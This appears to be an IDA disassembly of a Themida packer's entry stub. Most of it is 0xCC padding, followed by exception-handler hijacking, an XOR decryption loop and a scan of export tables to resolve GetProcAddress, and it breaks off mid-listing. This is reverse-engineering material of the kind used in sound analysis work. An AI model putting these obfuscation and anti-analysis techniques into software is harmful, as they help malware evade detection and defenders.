db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ',0
dd 18E9h dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
public start
start proc near
; FUNCTION CHUNK AT 0060D056 SIZE 00000002 BYTES
mov ebx, ebx
push ebp
mov ebp, esp
call loc_60D017
mov eax, eax
call sub_60D0CD
clc
jmp loc_60D056
start endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_60D017: ; CODE XREF: start+5p
push dword ptr fs:0
mov fs:0, esp
mov ds:dword_60D059, ebp
xor ecx, ecx
push 20h
push ecx
push 2
push 20h
push ecx
push ecx
push ecx
push ecx
push ecx
push 80000000h
push 80000000h
push 4
push ecx
call ds:dword_512000 ; DATA XREF: sub_61F9A6+6w
; START OF FUNCTION CHUNK FOR start
loc_60D056: ; CODE XREF: start+12j
xchg ebx, ebx
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
db 0BDh
dword_60D059 dd 12FFC0h ; sub_6179A7+Cw
db 87h, 0DBh
; ---------------------------------------------------------------------------
jmp short $+2
mov esi, [ebp-8]
mov fs:0, esi
cld
sub eax, eax
loc_60D06D: ; CODE XREF: Themida_:0060D073j
dec al
or al, al
jz short loc_60D077
jnz short loc_60D06D
jmp short near ptr loc_60D0DD+1
; ---------------------------------------------------------------------------
loc_60D077: ; CODE XREF: Themida_:0060D071j
cld
stc
stc
nop
call sub_60D0C3
cmc
sub ebx, 0FFFFFF94h
push ebx
sub edi, edi
xor edi, 2990h
jmp short $+2
stc
clc
cld
sub esi, esi
add esi, 48h
loc_60D09D: ; CODE XREF: Themida_:0060D0B2j
call sub_60D0DB
clc
add ebx, 1
add si, 0A8h
dec edi
mov edx, edx
clc
cmp edi, 0
ja short loc_60D09D
pop ebx
clc
clc
cmc
leave
cmc
jmp short $+2
jmp ebx
; ---------------------------------------------------------------------------
stc
jmp short $+2
jmp short $+2
; =============== S U B R O U T I N E =======================================
sub_60D0C3 proc near ; CODE XREF: Themida_:0060D07Bp
pop ebx
nop
nop
push ebx
retn
sub_60D0C3 endp
; ---------------------------------------------------------------------------
jmp short $+2
nop
clc
cld
; =============== S U B R O U T I N E =======================================
sub_60D0CD proc near ; CODE XREF: start+Cp
arg_C = dword ptr 10h
mov ecx, [esp+arg_C]
xor eax, eax
pop dword ptr [ecx+0B8h]
retn
sub_60D0CD endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 90h
; =============== S U B R O U T I N E =======================================
sub_60D0DB proc near ; CODE XREF: Themida_:loc_60D09Dp
mov al, [ebx]
loc_60D0DD: ; CODE XREF: Themida_:0060D075j
mov eax, eax
cmc
xor ax, si
xchg ebx, ebx
xchg al, [ebx]
retn
sub_60D0DB endp
; ---------------------------------------------------------------------------
db 89h, 0DBh
; ---------------------------------------------------------------------------
jmp short $+2
loc_60D0EC: ; DATA XREF: Themida_:006103B8o
call $+5
mov eax, [esp]
cld
mov [eax+32C7h], ebx
mov ecx, [eax+297Fh]
mov ebx, [esp+4]
and ecx, 10000000h
jz short loc_60D138
pop ecx
mov [eax+32CBh], esi
mov cl, [eax+2983h]
mov [eax+32CFh], edi
cmp cl, 0E8h
jz short loc_60D12D
mov ebx, [eax+2985h]
jmp short loc_60D136
; ---------------------------------------------------------------------------
loc_60D12D: ; CODE XREF: Themida_:0060D123j
add ebx, [eax+2984h]
mov ebx, [ebx+2]
loc_60D136: ; CODE XREF: Themida_:0060D12Bj
mov ebx, [ebx]
loc_60D138: ; CODE XREF: Themida_:0060D10Bj
push ebp
mov ebp, eax
sub dword ptr [esp+4], 0FA0DDh
sub ebp, 101005h
mov edi, [esp+4]
lea esi, [ebp+103990h]
mov ecx, 0
rep movsb
call sub_60D211
mov ecx, eax
call sub_60D211
sub eax, ecx
jz short loc_60D1E3
cmp eax, 100h
ja short loc_60D1E3
and ebx, 0FFFFF000h
loc_60D177: ; CODE XREF: Themida_:0060D186j
cmp dword ptr [ebx+4Eh], 73696854h
jz short loc_60D188
loc_60D180: ; CODE XREF: Themida_:0060D195j
sub ebx, 100h
jnz short loc_60D177
loc_60D188: ; CODE XREF: Themida_:0060D17Ej
mov eax, ebx
add eax, [ebx+3Ch]
mov edx, [eax+78h]
cmp word ptr [eax], 4550h
jnz short loc_60D180
add edx, ebx
mov esi, [edx+20h]
mov ecx, [edx+18h]
add esi, ebx
push ecx
loc_60D1A2: ; CODE XREF: Themida_:loc_60D1B6j
lodsd
add eax, ebx
cmp word ptr [eax+2], 5074h
jnz short loc_60D1B6
cmp dword ptr [eax+5], 6441636Fh
jz short loc_60D1BB
loc_60D1B6: ; CODE XREF: Themida_:0060D1ABj
loop loc_60D1A2
pop ecx
jmp short loc_60D1E3
; ---------------------------------------------------------------------------
loc_60D1BB: ; CODE XREF: Themida_:0060D1B4j
sub [esp], ecx
mov esi, [edx+24h]
pop ecx
add esi, ebx
movzx eax, word ptr [esi+ecx*2]
mov edi, [edx+1Ch]
add edi, ebx
mov esi, [edi+eax*4]
add esi, ebx
lea eax, [ebp+10113Fh]
mov dx, [eax-17h]
call sub_60D216
jmp short loc_60D22B
; ---------------------------------------------------------------------------
loc_60D1E3: ; CODE XREF: Themida_:0060D168j
; Themida_:0060D16Fj ...
mov eax, [ebp+103984h]
and eax, 10000000h
jz short loc_60D20F
mov edi, [esp+4]
lea esi, [ebp+103988h]
lodsd
mov ebx, [ebp+1042CCh]
stosd
movsb
mov edi, [ebp+1042D4h]
mov esi, [ebp+1042D0h]
loc_60D20F: ; CODE XREF: Themida_:0060D1EEj
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_60D211 proc near ; CODE XREF: Themida_:0060D15Ap
